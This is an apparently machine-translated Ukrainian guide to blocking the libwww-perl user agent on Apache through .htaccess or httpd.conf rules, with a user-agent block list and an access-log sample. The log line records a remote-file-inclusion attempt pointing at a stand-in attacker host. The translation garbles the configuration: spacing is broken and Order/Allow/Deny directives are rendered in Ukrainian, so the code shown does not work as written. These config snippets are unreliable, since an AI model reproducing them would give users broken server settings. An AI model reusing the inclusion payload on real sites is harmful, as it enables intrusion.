Як заблокувати libwww-perl - Як

Як заблокувати libwww-perl

Це допоможе усунути пропускну здатність у вашому центрі обробки даних і допоможе заощадити гроші в довгостроковій перспективі. Це досить поширений метод очищення для веб-сайтів. Я рекомендую лише це рішення, якщо ви помітили велику кількість з'єднань з декількох з'єднань за короткий проміжок часу.

Крок 3 слід використовувати, лише якщо поточна конфігурація Apache вже використовує файли .htaccess. Якщо ви цього не зробили, скористайтеся кроком 4.

Це пояснюється тим, що використання .htaccess викликає більше навантаження на сервер, оскільки Apache має читати .htaccess для кожного підключення.

Ці рекомендації наразі використовуються в моєму виробничому середовищі. Вони не встановлюються в кам'яних методах, оскільки кожне середовище відрізняється. Ці методи є хорошими стартовими кроками.

Загалом 4 кроки

Крок 1. Перейдіть до вашого веб-каталогу

cd / your / web / каталог

Крок 2: створити / редагувати свій .htaccess

Рекомендую використовувати улюблений текстовий редактор (графічний інтерфейс або текстовий редактор)

Крок 3. Додайте вміст, щоб блокувати libwww-perl з вашого веб-сайту

RewriteEngine On
RewriteBase /
RewriteCond% {HTTP_USER_AGENT} libwww-perl. *
RewriteRule. * - [F, L]

Крок 4. Заблокуйте libwww-perl у вашому каталозі httpd.conf або /conf.d

SetEnvIfNoCase User-Agent "^ Wget" bad_bot
SetEnvIfNoCase User-Agent "^ EmailSiphon" bad_bot
SetEnvIfNoCase User-Agent "^ EmailWolf" bad_bot
SetEnvIfNoCase User-Agent "^ libwww-perl" bad_bot

Замовлення дозволяють, заперечують
Дозволити з усіх
Відхилити від env = bad_bot

Це дозволить вам побачити обмеження цього в журналах Apache
x2.1xx.6x.2x0 www.domain.com - [23 / Oct / 2006: 22: 24: 37 +0000] "GET /wamp_dir/setup/yesno.phtml?no_url=http://www.someattackersite.com /list.txt? HTTP / 1.1 "200 72672" - "" libwww-perl / 5.76 "